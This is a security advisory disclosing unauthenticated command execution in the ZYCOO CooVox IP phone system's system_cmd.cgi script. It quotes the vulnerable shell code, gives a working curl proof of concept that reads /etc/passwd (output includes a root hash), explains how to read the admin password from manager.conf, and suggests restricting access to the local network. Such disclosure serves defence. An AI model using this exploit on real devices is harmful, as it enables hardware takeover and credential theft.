Vulnerable hardware : ZYCOO IP phone system
Vendor : zycoo.com
Author : Ahmed sultan (@0x4148)
Email : 0x4148@gmail.com

Summary : According to the vendor's site , 
CooVox Series IP Phone System is the most innovative solution for VoIP telecommunication in SMB (Small and Medium-sized Business) market.
They provide not only traditional PBX functions such as automated attendant and voicemail,
but also offer many advance telephony features, including remote extensions, remote office connection,
IVR, call recording, call detail records(CDR)…

Vulnerable file : /www/cgi-bin/system_cmd.cgi

Code shot : 

#!/bin/hush
printf '\r\n'
if [ -n "$REQUEST_METHOD" ]; then
        case "$REQUEST_METHOD" in
        (GET)
        if [ -n "$QUERY_STRING" ]; then
        for args in `echo "$QUERY_STRING" | tr "&" " "`
        do
                param=`echo "$args" | cut -d "=" -f 1`
                value=`echo "$args" | cut -d "=" -f 2`
                eval "export $param=$value"
        done
        fi
        ;;
  esac
fi
INI_FILE=/etc/asterisk/manager.conf
INI_SECTION=$username
eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \
    -e 's/;.*$//' \
    -e 's/[[:space:]]*$//' \
    -e 's/^[[:space:]]*//' \
    -e "s/^\(.*\)=\([^\"']*\)$/\1=\'\2\'/" \
   < $INI_FILE \
    | sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"`
password="`/etc/scripts/decodeURI $password`"
[ -z "$secret" ] && secret=`/etc/scripts/getkeyvalue.sh ${INI_SECTION} vmsecret`
if [ "$password" = "$secret" ]; then
        cmd=`echo $cmd | sed 's/%20/ /g'`
#       cmd=`echo $cmd | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g;s/?r//g' | xargs echo`
        $cmd

the GET parameter cmd is freely available to directly execute system commands with no prior required authentication
which lead to full hardware takeover

POC
[0x4148:/R1z]# curl http://server:9999/cgi-bin/system_cmd.cgi\?cmd\='cat%20/etc/passwd'
root:$1$C6ouMLFa$pb2/Bu1bcWpBNcX38jTva0:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody::

Also by reading file /etc/asterisk/manager.conf
hardware admin's password can be obtained in plain text

Fixing?
Unfortunately the hardware frontend really depend on this file , and the vendor is super lazy on replying on the emails regarding this vulnerability
so , best fixation for now is enabling the web interface browsing from the local network only